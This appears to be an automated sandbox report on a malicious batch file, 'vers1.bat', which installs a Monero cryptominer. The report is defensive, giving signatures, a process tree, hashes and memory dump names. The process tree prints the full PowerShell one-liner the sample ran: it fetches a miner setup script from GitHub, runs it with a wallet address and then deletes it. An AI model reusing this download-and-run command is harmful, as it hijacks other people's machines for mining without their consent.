Analysis

  • max time kernel
    189s
  • max time network
    257s
  • platform
    windows10-1703_x64
  • resource
    win10-20240611-en
  • resource tags

    arch:x64arch:x86image:win10-20240611-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25/06/2024, 16:27

General

  • Target
    vers1.bat
  • Size 393B
  • Sample240625-tx7zlstbqq
  • SHA256 a84009aa12f35d93284297647c2714df7f5b0a04d2e0732c689740920ea1421f
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.bat

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\vers1.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4988
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.bat', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4820
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpC68C.tmp.bat" 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2416
        • C:\Windows\system32\net.exe
          net session
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2664
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            5⤵
              PID:452
          • C:\Windows\system32\where.exe
            where powershell
            4⤵
              PID:4996
            • C:\Windows\system32\where.exe
              where find
              4⤵
                PID:5032
              • C:\Windows\system32\where.exe
                where findstr
                4⤵
                  PID:4608
                • C:\Windows\system32\where.exe
                  where tasklist
                  4⤵
                    PID:32
                  • C:\Windows\system32\where.exe
                    where sc
                    4⤵
                      PID:2404

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    __PSScriptPolicyTest_fkqilt5x.ory.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fkqilt5x.ory.ps1
                    • Size 1B
                    • SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
                    • MD5 SHA1 SHA512

                    tmpC68C.tmp.bat

                    • Path C:\Users\Admin\AppData\Local\Temp\tmpC68C.tmp.bat
                    • Size 14KB
                    • SHA256 57375e5d331ed567ca2da98b126ac585ff7829d15c31ad98eb452339e3ba1d05
                    • MD5 SHA1 SHA512 SSDEEP

                    memory/4820-2-0x00007FF966B63000-0x00007FF966B64000-memory.dmp

                    memory/4820-5-0x000001A50A200000-0x000001A50A222000-memory.dmp

                    memory/4820-7-0x00007FF966B60000-0x00007FF96754C000-memory.dmp

                    memory/4820-9-0x000001A522600000-0x000001A522676000-memory.dmp

                    memory/4820-10-0x00007FF966B60000-0x00007FF96754C000-memory.dmp

                    memory/4820-25-0x00007FF966B60000-0x00007FF96754C000-memory.dmp

                    memory/4820-29-0x00007FF966B60000-0x00007FF96754C000-memory.dmp